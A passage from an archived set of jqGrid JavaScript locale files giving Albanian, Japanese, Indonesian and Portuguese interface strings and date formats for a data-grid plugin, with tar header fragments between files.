tabelën", // mobile pagerCaption : "Tabela::Kruskoti i faqes", pageText : "Faqja:", recordPage : "Rreshta për faqe", nomorerecs : "Nuk ka rreshta të tjerë...", scrollPullup: "Tërhiq për lart për të tjerë...", scrollPulldown : "Tërqiq për poshtë për rifreskim...", scrollRefresh : "Lësho për rifreskim...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Kërko...", Find: "Gjej", Reset: "Pastro", odata: [{ oper:'eq', text:'baraz'},{ oper:'ne', text:'jo baraz'},{ oper:'lt', text:'me e vogel'},{ oper:'le', text:'me e vogel ose baraz'},{ oper:'gt', text:'me e madhe'},{ oper:'ge', text:'me e madhe ose baraz'},{ oper:'bw', text:'fillon me'},{ oper:'bn', text:'nuk fillon me'},{ oper:'in', text:'brenda'},{ oper:'ni', text:'jo brenda'},{ oper:'ew', text:'mbaron me'},{ oper:'en', text:'nuk mbaron me'},{ oper:'cn', text:'permban'},{ oper:'nc', text:'nuk permban'},{ oper:'nu', text:'eshte bosh'},{ oper:'nn', text:'nuk eshte bosh'}, {oper:'bt', text:'between'}], groupOps: [{ op: "AND", text: "te gjithe" },{ op: "OR", text: "cfaredo" }], operandTitle : "Kliko per te zgjedhur veprimin.", resetTitle : "Fshi vlerat e kerkimit", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Shto rresht", editCaption: "Fshi rresht", bSubmit: "Vendos", bCancel: "Anullo", bClose: "Mbyll", saveData: "Te dhenat jane ndryshuar! Deshironi ti ruani ndryshimet?", bYes : "Po", bNo : "Jo", bExit : "Anullo", msg: { required:"Kjo fushe eshte e detyrueshme", number:"Ju lutem, vendosni nje numer te vlefshem", minValue:"vlera duhet te jete me e madhe ose e njejte me ", maxValue:"vlera duhet te jete me e vogel ose e njejte me", email: "nuk eshte adrese poste elektronike e vlefshme", integer: "Ju lutem, vendosni nje numer te plote te vlefshem", date: "Ju lutem, vendosni nje date te vlefshme", url: "nuk eshte URL e vlefshme. Nevojitet prefiksi ('http://' ose 'https://')", nodefined : " nuk eshte percaktuar!", novalue : " vlera si pergjigje eshte e detyreshme!", customarray : "Funksioni i personalizuar duhet te ktheje nje array!", customfcheck : "unksioni i personalizuar duhet te egzistoje ne rast kontrolli te personalizuar!" } }, view : { caption: "Shfaq Rreshtin", bClose: "Mbyll" }, del : { caption: "Fshi", msg: "Deshironi te fshini rreshtin/rreshtat e zgjedhur?", bSubmit: "Fshi", bCancel: "Anullo" }, nav : { edittext: "", edittitle: "Modifiko rreshtin e zgjedhur", addtext:"", addtitle: "Shto rresht te ri", deltext: "", deltitle: "Fshi rreshtin e zgjedhur", searchtext: "", searchtitle: "Gjej rreshtat", refreshtext: "", refreshtitle: "Ringarko listen", alertcap: "Paralajmerim", alerttext: "Ju lutem, zgjidh nje rresht", viewtext: "", viewtitle: "Shfaq rreshtin e zgjedhur", savetext: "", savetitle: "Ruaj rreshtin", canceltext: "", canceltitle : "Anullo modifikim rreshti", selectcaption : "Veprime..." }, col : { caption: "Zgjidh kolona", bSubmit: "Ok", bCancel: "Anullo" }, errors : { errcap : "Gabim", nourl : "Nuk eshte percaktuar asnje URL", norecords: "Nuk ka rreshta per perpunim", model : "Gjatesia e emrit te kolones <> modeli i kolones!" }, formatter : { integer : {thousandsSeparator: ",", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Dje", "Hën", "Mar", "Mër", "Enj", "Pre", "Sht", "Djelë", "Hënë", "Martë", "Mërkurë", "Enjte", "Premte", "Shtunë" ], monthNames: [ "Jan", "Shk", "Mar", "Pri", "Maj", "Qer", "Kor", "Gus", "Sht", "Tet", "Nën", "Dhj", "Janar", "Shkurt", "Mars", "Prill", "Maj", "Qershor", "Korrik", "Gusht", "Shtator", "Tetor", "Nëntor", "Dhjetor" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'n/j/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently // one can find on https://github.com/jquery/globalize/tree/master/lib/cultures many // information about date, time, numbers and currency formats used in different countries // one should just convert the information in PHP format ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", // short date: // n - Numeric representation of a month, without leading zeros // j - Day of the month without leading zeros // Y - A full numeric representation of a year, 4 digits // example: 3/1/2012 which means 1 March 2012 ShortDate: "n/j/Y", // in jQuery UI Datepicker: "M/d/yyyy" // long date: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits LongDate: "l, F d, Y", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy" // long date with long time: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) FullDateTime: "l, F d, Y g:i:s A", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy h:mm:ss tt" // month day: // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros MonthDay: "F d", // in jQuery UI Datepicker: "MMMM dd" // short time (without seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) ShortTime: "g:i A", // in jQuery UI Datepicker: "h:mm tt" // long time (with seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) LongTime: "g:i:s A", // in jQuery UI Datepicker: "h:mm:ss tt" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // Y - A full numeric representation of a year, 4 digits // F - A full textual representation of a month YearMonth: "F, Y" // in jQuery UI Datepicker: "MMMM, yyyy" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-ja.js000064400000022304151677266200010451 0ustar00/** * jqGrid Japanese Translation * OKADA Yoshitada okada.dev@sth.jp * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["ja"] = { defaults : { recordtext: "{2} \u4EF6\u4E2D {0} - {1} \u3092\u8868\u793A ", emptyrecords: "\u8868\u793A\u3059\u308B\u30EC\u30B3\u30FC\u30C9\u304C\u3042\u308A\u307E\u305B\u3093", loadtext: "\u8aad\u307f\u8fbc\u307f\u4e2d...", pgtext : "{1} \u30DA\u30FC\u30B8\u4E2D {0} \u30DA\u30FC\u30B8\u76EE ", savetext: "\u4fdd\u5b58\u4e2d...", pgfirst : "\u6700\u521d\u306e\u30da\u30fc\u30b8\u3078", pglast : "\u6700\u5f8c\u306e\u30da\u30fc\u30b8\u3078", pgnext : "\u6b21\u306e\u30da\u30fc\u30b8", pgprev : "\u524d\u306e\u30da\u30fc\u30b8", pgrecs : "\u30da\u30fc\u30b8\u5358\u4f4d\u306e\u30ec\u30b3\u30fc\u30c9\u6570", showhide: "\u30b0\u30ea\u30c3\u30c9\u306e\u5c55\u958b/\u9589\u3058\u8fbc\u307f", // mobile pagerCaption : "\u30b0\u30ea\u30c3\u30c9::\u30da\u30fc\u30b8\u8a2d\u5b9a", pageText : "\u30da\u30fc\u30b8:", recordPage : "\u30da\u30fc\u30b8\u5358\u4f4d\u306e\u30ec\u30b3\u30fc\u30c9\u6570", nomorerecs : "\u30ec\u30b3\u30fc\u30c9\u304c\u3042\u308a\u307e\u305b\u3093...", scrollPullup: "\u4e0a\u306b\u30b9\u30af\u30ed\u30fc\u30eb\u3057\u3066\u8aad\u307f\u8fbc\u307f...", scrollPulldown : "\u4e0b\u306b\u30b9\u30af\u30ed\u30fc\u30eb\u3057\u3066\u66f4\u65b0...", scrollRefresh : "\u653e\u3057\u3066\u66f4\u65b0...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "\u691c\u7d22...", Find: "\u691c\u7d22", Reset: "\u30ea\u30bb\u30c3\u30c8", odata: [{ oper:'eq', text:"\u6B21\u306B\u7B49\u3057\u3044"}, { oper:'ne', text:"\u6B21\u306B\u7B49\u3057\u304F\u306A\u3044"}, { oper:'lt', text:"\u6B21\u3088\u308A\u5C0F\u3055\u3044"}, { oper:'le', text:"\u6B21\u306B\u7B49\u3057\u3044\u304B\u5C0F\u3055\u3044"}, { oper:'gt', text:"\u6B21\u3088\u308A\u5927\u304D\u3044"}, { oper:'ge', text:"\u6B21\u306B\u7B49\u3057\u3044\u304B\u5927\u304D\u3044"}, { oper:'bw', text:"\u6B21\u3067\u59CB\u307E\u308B"}, { oper:'bn', text:"\u6B21\u3067\u59CB\u307E\u3089\u306A\u3044"}, { oper:'in', text:"\u6B21\u306B\u542B\u307E\u308C\u308B"}, { oper:'ni', text:"\u6B21\u306B\u542B\u307E\u308C\u306A\u3044"}, { oper:'ew', text:"\u6B21\u3067\u7D42\u308F\u308B"}, { oper:'en', text:"\u6B21\u3067\u7D42\u308F\u3089\u306A\u3044"}, { oper:'cn', text:"\u6B21\u3092\u542B\u3080"}, { oper:'nc', text:"\u6B21\u3092\u542B\u307E\u306A\u3044"}, { oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [{ op: "AND", text: "\u3059\u3079\u3066\u306E" }, { op: "OR", text: "\u3044\u305A\u308C\u304B\u306E" }], operandTitle : "\u30af\u30ea\u30c3\u30af\u3057\u3066\u691c\u7d22\u64cd\u4f5c\u3092\u9078\u629e", resetTitle : "\u691c\u7d22\u5024\u3092\u30ea\u30bb\u30c3\u30c8", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "\u30ec\u30b3\u30fc\u30c9\u8ffd\u52a0", editCaption: "\u30ec\u30b3\u30fc\u30c9\u7de8\u96c6", bSubmit: "\u9001\u4fe1", bCancel: "\u30ad\u30e3\u30f3\u30bb\u30eb", bClose: "\u9589\u3058\u308b", saveData: "\u30C7\u30FC\u30BF\u304C\u5909\u66F4\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u4FDD\u5B58\u3057\u307E\u3059\u304B\uFF1F", bYes: "\u306F\u3044", bNo: "\u3044\u3044\u3048", bExit: "\u30AD\u30E3\u30F3\u30BB\u30EB", msg: { required:"\u3053\u306e\u9805\u76ee\u306f\u5fc5\u9808\u3067\u3059\u3002", number:"\u6b63\u3057\u3044\u6570\u5024\u3092\u5165\u529b\u3057\u3066\u4e0b\u3055\u3044\u3002", minValue:"\u6b21\u306e\u5024\u4ee5\u4e0a\u3067\u5165\u529b\u3057\u3066\u4e0b\u3055\u3044\u3002", maxValue:"\u6b21\u306e\u5024\u4ee5\u4e0b\u3067\u5165\u529b\u3057\u3066\u4e0b\u3055\u3044\u3002", email: "e-mail\u304c\u6b63\u3057\u304f\u3042\u308a\u307e\u305b\u3093\u3002", integer: "\u6b63\u3057\u3044\u6574\u6570\u5024\u3092\u5165\u529b\u3057\u3066\u4e0b\u3055\u3044\u3002", date: "\u6b63\u3057\u3044\u5024\u3092\u5165\u529b\u3057\u3066\u4e0b\u3055\u3044\u3002", url: "\u306F\u6709\u52B9\u306AURL\u3067\u306F\u3042\u308A\u307E\u305B\u3093\u3002\u30D7\u30EC\u30D5\u30A3\u30C3\u30AF\u30B9\u304C\u5FC5\u8981\u3067\u3059\u3002 ('http://' \u307E\u305F\u306F 'https://')", nodefined: " \u304C\u5B9A\u7FA9\u3055\u308C\u3066\u3044\u307E\u305B\u3093", novalue: " \u623B\u308A\u5024\u304C\u5FC5\u8981\u3067\u3059", customarray: "\u30AB\u30B9\u30BF\u30E0\u95A2\u6570\u306F\u914D\u5217\u3092\u8FD4\u3059\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059", customfcheck: "\u30AB\u30B9\u30BF\u30E0\u691C\u8A3C\u306B\u306F\u30AB\u30B9\u30BF\u30E0\u95A2\u6570\u304C\u5FC5\u8981\u3067\u3059" } }, view : { caption: "\u30EC\u30B3\u30FC\u30C9\u3092\u8868\u793A", bClose: "\u9589\u3058\u308B" }, del : { caption: "\u524a\u9664", msg: "\u9078\u629e\u3057\u305f\u30ec\u30b3\u30fc\u30c9\u3092\u524a\u9664\u3057\u307e\u3059\u304b\uff1f", bSubmit: "\u524a\u9664", bCancel: "\u30ad\u30e3\u30f3\u30bb\u30eb" }, nav : { edittext: " ", edittitle: "\u9078\u629e\u3057\u305f\u884c\u3092\u7de8\u96c6", addtext:" ", addtitle: "\u884c\u3092\u65b0\u898f\u8ffd\u52a0", deltext: " ", deltitle: "\u9078\u629e\u3057\u305f\u884c\u3092\u524a\u9664", searchtext: " ", searchtitle: "\u30ec\u30b3\u30fc\u30c9\u691c\u7d22", refreshtext: "", refreshtitle: "\u30b0\u30ea\u30c3\u30c9\u3092\u30ea\u30ed\u30fc\u30c9", alertcap: "\u8b66\u544a", alerttext: "\u884c\u3092\u9078\u629e\u3057\u3066\u4e0b\u3055\u3044\u3002", viewtext: "", viewtitle: "\u9078\u629E\u3057\u305F\u884C\u3092\u8868\u793A", savetext: "", savetitle: "\u5217\u3092\u4fdd\u5b58", canceltext: "", canceltitle : "\u5217\u306e\u7de8\u96c6\u3092\u30ad\u30e3\u30f3\u30bb\u30eb", selectcaption : "\u30a2\u30af\u30b7\u30e7\u30f3..." }, col : { caption: "\u5217\u3092\u8868\u793a\uff0f\u96a0\u3059", bSubmit: "\u9001\u4fe1", bCancel: "\u30ad\u30e3\u30f3\u30bb\u30eb" }, errors : { errcap : "\u30a8\u30e9\u30fc", nourl : "URL\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002", norecords: "\u51e6\u7406\u5bfe\u8c61\u306e\u30ec\u30b3\u30fc\u30c9\u304c\u3042\u308a\u307e\u305b\u3093\u3002", model : "colNames\u306e\u9577\u3055\u304ccolModel\u3068\u4e00\u81f4\u3057\u307e\u305b\u3093\u3002" }, formatter : { integer: { thousandsSeparator: ",", defaultValue: '0' }, number: { decimalSeparator: ".", thousandsSeparator: ",", decimalPlaces: 2, defaultValue: '0.00' }, currency: { decimalSeparator: ".", thousandsSeparator: ",", decimalPlaces: 0, prefix: "", suffix: "", defaultValue: '0' }, date : { dayNames: [ "\u65e5", "\u6708", "\u706b", "\u6c34", "\u6728", "\u91d1", "\u571f", "\u65e5", "\u6708", "\u706b", "\u6c34", "\u6728", "\u91d1", "\u571f" ], monthNames: [ "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "1\u6708", "2\u6708", "3\u6708", "4\u6708", "5\u6708", "6\u6708", "7\u6708", "8\u6708", "9\u6708", "10\u6708", "11\u6708", "12\u6708" ], AmPm : ["am","pm","AM","PM"], S: function (j) { return "\u756a\u76ee"; }, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-id.js000064400000021141151677266200010451 0ustar00/** * jqGrid Indonesian Translation * Tony Tomov tony@trirand.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["id"] = { defaults : { recordtext: "Data {0} - {1} dari {2}", emptyrecords: "Tidak ada data", loadtext: "Memuat...", pgtext : "Halaman {0} dari {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Pencarian", Find: "Cari !", Reset: "Segarkan", odata: [{ oper:'eq', text:"sama dengan"},{ oper:'ne', text:"tidak sama dengan"},{ oper:'lt', text:"kurang dari"},{ oper:'le', text:"kurang dari atau sama dengan"},{ oper:'gt', text:"lebih besar"},{ oper:'ge', text:"lebih besar atau sama dengan"},{ oper:'bw', text:"dimulai dengan"},{ oper:'bn', text:"tidak dimulai dengan"},{ oper:'in', text:"di dalam"},{ oper:'ni', text:"tidak di dalam"},{ oper:'ew', text:"diakhiri dengan"},{ oper:'en', text:"tidak diakhiri dengan"},{ oper:'cn', text:"mengandung"},{ oper:'nc', text:"tidak mengandung"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "all" }, { op: "OR", text: "any" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Tambah Data", editCaption: "Sunting Data", bSubmit: "Submit", bCancel: "Tutup", bClose: "Tutup", saveData: "Data telah berubah! Simpan perubahan?", bYes : "Ya", bNo : "Tidak", bExit : "Tutup", msg: { required:"kolom wajib diisi", number:"hanya nomer yang diperbolehkan", minValue:"kolom harus lebih besar dari atau sama dengan", maxValue:"kolom harus lebih kecil atau sama dengan", email: "alamat e-mail tidak valid", integer: "hanya nilai integer yang diperbolehkan", date: "nilai tanggal tidak valid", url: "Bukan URL yang valid. Harap gunakan ('http://' or 'https://')", nodefined : " belum didefinisikan!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Menampilkan data", bClose: "Tutup" }, del : { caption: "Hapus", msg: "Hapus data terpilih?", bSubmit: "Hapus", bCancel: "Batalkan" }, nav : { edittext: "", edittitle: "Sunting data terpilih", addtext:"", addtitle: "Tambah baris baru", deltext: "", deltitle: "Hapus baris terpilih", searchtext: "", searchtitle: "Temukan data", refreshtext: "", refreshtitle: "Segarkan Grid", alertcap: "Warning", alerttext: "Harap pilih baris", viewtext: "", viewtitle: "Tampilkan baris terpilih", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Pilih Kolom", bSubmit: "Ok", bCancel: "Batal" }, errors : { errcap : "Error", nourl : "Tidak ada url yang diset", norecords: "Tidak ada data untuk diproses", model : "Lebar dari colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "Rp. ", suffix:"", defaultValue: '0'}, date : { dayNames: [ "Ming", "Sen", "Sel", "Rab", "Kam", "Jum", "Sab", "Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Mei", "Jun", "Jul", "Agu", "Sep", "Okt", "Nov", "Des", "Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'n/j/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently // one can find on https://github.com/jquery/globalize/tree/master/lib/cultures many // information about date, time, numbers and currency formats used in different countries // one should just convert the information in PHP format ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", // short date: // n - Numeric representation of a month, without leading zeros // j - Day of the month without leading zeros // Y - A full numeric representation of a year, 4 digits // example: 3/1/2012 which means 1 March 2012 ShortDate: "n/j/Y", // in jQuery UI Datepicker: "M/d/yyyy" // long date: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits LongDate: "l, F d, Y", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy" // long date with long time: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) FullDateTime: "l, F d, Y g:i:s A", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy h:mm:ss tt" // month day: // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros MonthDay: "F d", // in jQuery UI Datepicker: "MMMM dd" // short time (without seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) ShortTime: "g:i A", // in jQuery UI Datepicker: "h:mm tt" // long time (with seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) LongTime: "g:i:s A", // in jQuery UI Datepicker: "h:mm:ss tt" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // Y - A full numeric representation of a year, 4 digits // F - A full textual representation of a month YearMonth: "F, Y" // in jQuery UI Datepicker: "MMMM, yyyy" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-pt.js000064400000014173151677266200010507 0ustar00/** * jqGrid Portuguese Translation * Traduçã da jqGrid em Portugues por Frederico Carvalho, http://www.eyeviewdesign.pt * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["pt"] = { defaults : { recordtext: "View {0} - {1} of {2}", emptyrecords: "No records to view", loadtext: "A carregar...", pgtext : "Página {0} de {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Busca...", Find: "Procurar", Reset: "Limpar", odata: [{ oper:'eq', text:'igual'},{ oper:'ne', text:'desigual'},{oper:'lt', text:'menor'},{ oper:'le', text:'menor ou igual'},{ oper:'gt',text:'maior'},{ oper:'ge', text:'maior ou igual'},{ oper:'bw', text:'comecacom'},{ oper:'bn', text:'nao comeca com'},{ oper:'in', text:'estadentro'},{ oper:'ni', text:'nao esta dentro'},{ oper:'ew', text:'finalizacom'},{ oper:'en', text:'nao finaliza com'},{ oper:'cn', text:'contem'},{oper:'nc', text:'nao contem'}], groupOps: [ { op: "AND", text: "tudo" }, { op: "OR", text:"qualquer" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Adicionar Registo", editCaption: "Modificar Registo", bSubmit: "Submeter", bCancel: "Cancelar", bClose: "Fechar", saveData: "Dados foram alterados. Guardar?", bYes : "Sim", bNo : "Nao", bExit : "Cancelar", msg: { required:"Campo obrigatório", number:"Por favor, introduza um numero", minValue:"O valor deve ser maior ou igual que", maxValue:"O valor deve ser menor ou igual a", email: "Não é um email válid", integer: "Por favor, introduza um numero inteiro", date: "Introduza una fecha correcta ", url: "nao e um URL valido. Requerido prefixo ('http://' or 'https://')", nodefined : " nao esta definido!", novalue : " valor requerido!", customarray : "Funcao customizada deve entrar!", customfcheck : "Funcao customizada deve estar presente em caso deconfirmar customizacao!" } }, view : { caption: "View Record", bClose: "Close" }, del : { caption: "Eliminar", msg: "Deseja eliminar o(s) registo(s) seleccionado(s)?", bSubmit: "Eliminar", bCancel: "Cancelar" }, nav : { edittext: " ", edittitle: "Modificar registo seleccionado", addtext:" ", addtitle: "Adicionar novo registo", deltext: " ", deltitle: "Eliminar registo seleccionado", searchtext: " ", searchtitle: "Procurar", refreshtext: "", refreshtitle: "Actualizar", alertcap: "Aviso", alerttext: "Por favor, seleccione um registo", viewtext: "", viewtitle: "Ver coluna selecionada", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Mostrar/Ocultar Colunas", bSubmit: "Enviar", bCancel: "Cancelar" }, errors : { errcap : "Erro", nourl : "Não especificou um url", norecords: "Não existem dados para processar", model : "Tamanho do colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sab", "Domingo", "Segunda-Feira", "Terça-Feira", "Quarta-Feira", "Quinta-Feira", "Sexta-Feira", "Sábado" ], monthNames: [ "Jan", "Fev", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Out", "Nov", "Dez", "Janeiro", "Fevereiro", "Mar�o", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['�', '�', '�', '�'][Math.min((j - 1) % 10, 3)] : '�'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, 